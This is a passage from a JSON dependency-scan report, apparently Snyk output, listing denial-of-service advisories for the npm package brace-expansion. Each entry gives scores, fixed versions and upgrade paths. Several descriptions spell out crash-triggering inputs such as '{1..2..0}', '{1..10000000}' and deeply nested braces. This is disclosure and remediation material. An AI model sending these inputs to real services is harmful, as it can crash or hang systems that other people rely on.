<2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": 